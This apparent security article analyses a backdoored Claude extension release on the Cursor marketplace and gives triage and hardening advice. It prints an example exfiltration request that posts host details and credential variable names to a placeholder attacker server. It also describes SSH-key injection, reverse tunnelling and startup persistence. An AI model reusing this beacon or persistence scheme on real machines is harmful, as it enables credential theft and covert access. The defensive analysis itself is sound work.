Cursor Marketplace Attack Backdoors Anthropic Extension

A recent cursor marketplace supply chain attack compromised the official Anthropic Claude extension for VS Code, exposing developer workstations across enterprise environments. According to report details published by Ars Technica, the malicious payload was distributed as version 2.1.313, superseding the legitimate version 2.1.312. The malicious update remained live on the marketplace for nearly 12 hours between 5:27 am ET and 4:35 pm ET before containment action was executed.

Because the Cursor IDE enables automatic extension updates by default, an estimated 5,000 developer machines pulled the backdoored package without requiring manual user intervention. The extension process inherits the host execution privileges of the parent IDE, granting the malicious code unprompted access to local file systems, project source code, command-line tooling, and active environment variables. Once executed, the payload initiated system reconnaissance and attempted to establish persistent remote access.

Although Anthropic subsequently released clean version 2.1.314, platform engineering and security leaders must recognize that updating an extension binary does not purge artifacts installed by prior execution. If malicious persistence mechanisms were established or host environment variable names were exfiltrated during the exposure window, the host remains compromised until explicitly triaged and remediated.

Supply Chain Vulnerability in Developer Environment Extensions

Modern Integrated Development Environments (IDEs) rely heavily on modular extension ecosystems to deliver language support, AI assistance, and deployment tooling. However, these extension marketplaces represent an attractive supply chain target. Extensions operate inside the security boundary of the developer workstation, routinely accessing source code, private SSH keys, cloud management tokens, and internal network segments. When a trusted publisher account is compromised, defense-in-depth controls at the perimeter offer little protection against authenticated, signed, or registry-verified updates.

The malicious release of version 2.1.313 of the Anthropic Claude extension on the Cursor marketplace demonstrates the risk inherent in default auto-update configurations. When an IDE automatically checks for and applies extension updates in the background, a compromised release transitions from the registry to thousands of active developer endpoints in minutes. The exposure window spanned almost 12 hours before registry removal and C2 infrastructure teardown occurred.

The table below summarizes the operational characteristics and security exposure parameters of the compromised extension deployment:

Technical Analysis of Malicious Extension Version 2.1.313

Upon activation inside the Cursor IDE process, version 2.1.313 launches host profiling routines designed to assess the compromise target. Because IDE extensions execute within the context of the user running the editor, the payload automatically gains read and write access to all files, directories, and configuration settings accessible to that operating system user account.

The host profiling module contains cross-platform logic targeting macOS, Linux, and Windows environments. The script queries system APIs and environment properties to aggregate a comprehensive telemetry vector. Analysis by security firm Phorian revealed that the exfiltrated metadata payload includes the following explicit host indicators:

• System Identifiers: Local hostname, operating system platform, and system CPU architecture (e.g., x86_64, arm64).
• User Account Details: Active username, user home directory path, and current working directories open within the IDE.
• Identity & Network: Configured Git email address (from local .gitconfig files) and the external public IP address of the endpoint.
• Environment Inventory: Complete enumeration of all active environment variable names.

Once gathered, the payload packages the host metadata alongside backdoor execution status indicators into a structured JSON body. The extension transmits this exfiltration payload via an HTTP POST request targeting the endpoint path /beacon on port 8099 of the attacker C2 server.

# Conceptual representation of exfiltration beacon data structure
POST /beacon HTTP/1.1
Host: <attacker-c2-ip>:8099
Content-Type: application/json

{
  "hostname": "dev-workstation-01",
  "username": "alex",
  "os": "darwin",
  "arch": "arm64",
  "home_dir": "/Users/alex",
  "git_email": "[email protected]",
  "public_ip": "203.0.113.45",
  "env_var_names": [
    "AWS_PROFILE",
    "AWS_SECRET_ACCESS_KEY",
    "AZURE_CLIENT_SECRET",
    "ANTHROPIC_API_KEY",
    "GITHUB_TOKEN"
  ],
  "backdoor_status": "failed_insufficient_privileges"
}

The exfiltration mechanism relies on basic HTTP transport on non-standard port 8099. In corporate environments without strict outbound egress filtering, this network traffic successfully exits local networks without triggering standard web proxy rules tuned exclusively to ports 80 and 443.

Credential Harvesting via Environment Variable Enumeration

A specific operational component of version 2.1.313 is its targeted enumeration of environment variable names. Rather than attempting brute-force directory traversal to read credential files, the malware inspects the memory and process environment of the IDE to extract string keys representing configured variables.

Developer workstations commonly maintain environment variables containing high-value operational secrets. These variables provide authentication parameters for continuous integration systems, cloud infrastructure APIs, local database instances, and artificial intelligence APIs. By transmitting the variable names back to the C2 server, the threat actor receives an instant inventory of the target’s enterprise footprint without uploading large volumes of data that might trigger Data Loss Prevention (DLP) alerts.

+-----------------------------------------------------------------------+
|                       Cursor IDE Host Process                         |
|                                                                       |
|  +-----------------------------------------------------------------+  |
|  |                Malicious Extension (v2.1.313)                  |  |
|  +-----------------------------------------------------------------+  |
|                                  |                                    |
|   1. Enumerate env keys          | 2. Profile System                  |
|   (AWS_*, AZURE_*, GCP_*)        | (IP, Git Email, Arch, Hostname)    |
|                                  v                                    |
|  +-----------------------------------------------------------------+  |
|  |                 Construct Json Telemetry Payload                |  |
|  +-----------------------------------------------------------------+  |
+----------------------------------+------------------------------------+
                                   |
                                   | HTTP POST /beacon (Port 8099)
                                   v
+-----------------------------------------------------------------------+
|                       Attacker C2 Infrastructure                      |
|                                                                       |
|  - Catalogs host credential inventory                                 |
|  - Evaluates platform high-value targets for follow-up operations     |
+-----------------------------------------------------------------------+

Threat actors use this variable inventory to triage infected devices. A workstation exposing variables such as AWS_SESSION_TOKEN, KUBECONFIG, or PRODUCTION_DB_PASS is immediately flagged for secondary attack phases. The following table illustrates the target variable patterns identified in host profiling routines and their associated blast radius:

Reverse SSH Tunneling and OS Persistence Mechanisms

Beyond host enumeration and credential inventory, extension version 2.1.313 contained automated routines designed to establish persistent remote access. The payload attempted to convert the host into a reverse proxy node accessible to the threat actor via Secure Shell (SSH).

The initialization script attempted execution across three primary stages on Linux, macOS, and Windows targets:

1. Public Key Injection: The script attempts to append an attacker-controlled SSH public key into the user’s local ~/.ssh/authorized_keys file. If the file or directory does not exist, the script attempts to create it with permissive flags.
2. Service Activation: The payload executes local system commands to ensure the operating system’s native SSH daemon (such as sshd or OpenSSH Server) is enabled and listening for local connections.
3. Reverse Tunnel Initiation: A background process attempts to initiate an outbound SSH connection to the attacker’s infrastructure, forwarding the local SSH port to a listening port controlled by the threat actor.

To ensure long-term access, the payload included platform-specific persistence routines. On macOS, the extension attempted to write a custom .plist file to ~/Library/LaunchAgents/. On Windows, the payload attempted to register a Windows Scheduled Task designed to execute under the high-privilege SYSTEM account context, with a fallback mechanism relying on user Startup folder scripts. Both mechanisms configured background execution scripts programmed to retry the reverse SSH connection every 60 seconds.

Despite these implementation bugs, the threat remains significant. Standard non-elevated privileges were sufficient for the host metadata exfiltration and environment variable name harvesting routines to complete successfully.

Marketplace Containment and Provider Response

Following discovery of the backdoored extension, operational response efforts focused on severing communication paths and halting further distribution across the ecosystem. Cursor worked in coordination with the cloud hosting provider managing the attacker’s infrastructure to shut down the C2 server receiving port 8099 telemetry and reverse SSH connections.

Cursor removed version 2.1.313 from the extension registry and temporarily suspended access to the entire VS Code Marketplace within the Cursor platform. During this marketplace suspension, Cursor personnel executed internal operational procedures:

• Rotated internal security credentials and signing keys associated with registry publisher authentication.
• Audited access control policies and publisher verification mechanisms.
• Scanned existing marketplace extensions to confirm no additional packages were compromised.
• Re-opened the marketplace after pushing clean extension version 2.1.314.

Despite these rapid containment steps, notable operational details remain undisclosed. At the time of reporting, neither Anthropic nor Cursor has published official advisories detailing the precise initial entry vector used to compromise Anthropic’s official publisher account on the Cursor marketplace. Furthermore, specific indicators of compromise—such as the exact C2 IP addresses, domain names, and cryptographic SHA-256 hashes for version 2.1.313—have not been released in official public vendor advisories.

Forensic Detection and Workstation Triage Playbook

Security operation teams must proactively audit developer environments that ran Cursor during the exposure period. Because benign extension updates do not clean host-level modifications, responders must execute systematic triage across persistent storage, configuration files, and network activity logs.

# Step 1: Inspect macOS LaunchAgents for suspicious persistence files
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/

# Step 2: Audit local SSH authorized_keys for unknown public keys
cat ~/.ssh/authorized_keys

# Step 3: Check for active background processes retrying SSH connections
ps aux | grep -i "ssh" | grep -v "grep"

# Step 4: Verify active network connections targeting non-standard egress ports
netstat -an | grep 8099
# Alternatively on Linux platforms:
ss -tupn | grep 8099

On Windows workstations, platform engineers can query the Scheduled Task sub-system via PowerShell to identify unverified tasks scheduled to execute at short intervals:

# Query Windows Scheduled Tasks for suspicious background retry scripts
Get-ScheduledTask | Where-Object { $_.Actions.Execute -like "*ssh*" -or $_.Actions.Execute -like "*powershell*" } | Format-List TaskName, TaskPath, State

# Inspect user Startup directories for unauthorized script fallbacks
Get-ChildItem -Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ChildItem -Path "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Network security teams should search EDR and Firewall telemetry for outbound connection attempts targeting port 8099, specifically looking for HTTP POST requests directed toward /beacon endpoints. If suspicious persistence artifacts or egress connections are identified, the workstation must be immediately isolated from the enterprise network, and all credentials stored on or accessible from the machine must be rotated.

Architectural Strategies for Securing Developer Tooling

The compromise of an official extension on a major developer marketplace underscores the systemic risk of trusting third-party extension ecosystems by default. Mitigating supply chain risk in developer tooling requires architectural controls that limit the blast radius of endpoint compromises.

Organizations should re-evaluate IDE management policies across four primary engineering domains:

1. Disable Unvetted Extension Auto-Updates: Enterprise environments should disable automated background updates for extensions across all deployed IDEs. Extension versions should be pinned and deployed via controlled configuration management channels after passing internal security validation.
2. Adopt Isolated Development Containers (DevContainers): Decouple developer tools from the host operating system by shifting development workflows into isolated containers or remote web-IDEs. DevContainers restrict extensions to a sandboxed environment, preventing direct access to host SSH keys, system LaunchAgents, or local configuration files.
3. Restrict Secret Exposure in Local Environments: Eliminate long-lived cloud management keys stored in local environment variables. Implement identity-aware tools that issue short-lived, ephemeral authentication tokens injected only into specific subprocess contexts.
4. Establish Internal Extension Mirrors: Large organizations should deploy private extension registries. Private mirrors allow security teams to perform automated static analysis, verify cryptographic signatures, and enforce explicit approval lists before extensions become available to engineering staff.

{
  "extensions.autoUpdate": false,
  "extensions.autoCheckUpdates": false
}

Key Lessons for Platform Engineering and Security Teams

Developer workstations are high-value endpoints holding administrative credentials, internal source code, and direct access paths to production infrastructure. The compromise of Anthropic’s Claude extension demonstrates that threat actors view extension marketplaces as effective vectors for bypassing traditional perimeter security.

Platform and security teams must implement defense-in-depth principles specifically tailored for engineering environments:

• Treat Developer Endpoints as Untrusted Infrastructure: Apply zero-trust network controls to developer hardware. Restrict device egress network access and enforce strict device compliance checks before granting access to internal resources.
• Never Rely on Version Upgrades for Malware Remediation: Software updates patch application code; they do not perform forensic cleanup of malicious persistence mechanisms installed by prior execution. Threat hunting must accompany supply chain incident responses.
• Enforce Least Privilege for IDE Processes: IDEs and developer utilities must never execute with administrative or root privileges. Restricting execution contexts mitigates the impact of bugs in malicious persistence scripts.

A common mistake during incidents of this nature is assuming that non-elevated user accounts are safe from credential theft. While execution bugs in version 2.1.313 blocked persistent SSH tunnel creation on standard accounts, the basic environment variable enumeration and profiling mechanisms functioned without requiring elevated rights. Organizations that rely solely on binary update notifications without conducting active endpoint hunting remain vulnerable to secondary compromise.

Frequently asked questions

Does updating the Anthropic extension to version 2.1.314 remove the backdoor?

No. Upgrading to version 2.1.314 installs safe extension code and stops further delivery of the malicious payload, but it does not alter or remove persistence mechanisms, modified configuration files, or injected SSH keys installed by version 2.1.313. Security teams must perform host-level forensic checks to clean compromised endpoints manually.

Why did the malicious reverse SSH tunnel fail on some machines?

The malicious script contained implementation errors that caused service installation and reverse SSH tunnel initialization to fail when executed within a standard, non-elevated user context. Unless the Cursor IDE was explicitly launched with administrative or root privileges, the persistence installation steps failed to execute fully.

How can security teams verify if a developer workstation was affected?

Responders should check system logs for Cursor activity between 5:27 am ET and 4:35 pm ET on Thursday, 30 October 2026. Inspect ~/.ssh/authorized_keys for unauthorized keys, review ~/Library/LaunchAgents or Windows Scheduled Tasks for new entries, and query EDR/network logs for outbound POST requests to port 8099 targeting /beacon.

What risks do auto-updating IDE extensions pose to enterprise secrets?

Extensions run with the execution privileges of the parent IDE process, granting them read access to local files, source code, and active environment variables. When extensions auto-update without prior verification, a compromised publisher registry can distribute malware fleet-wide, enabling threat actors to exfiltrate enterprise API tokens and cloud credentials stored in local environments.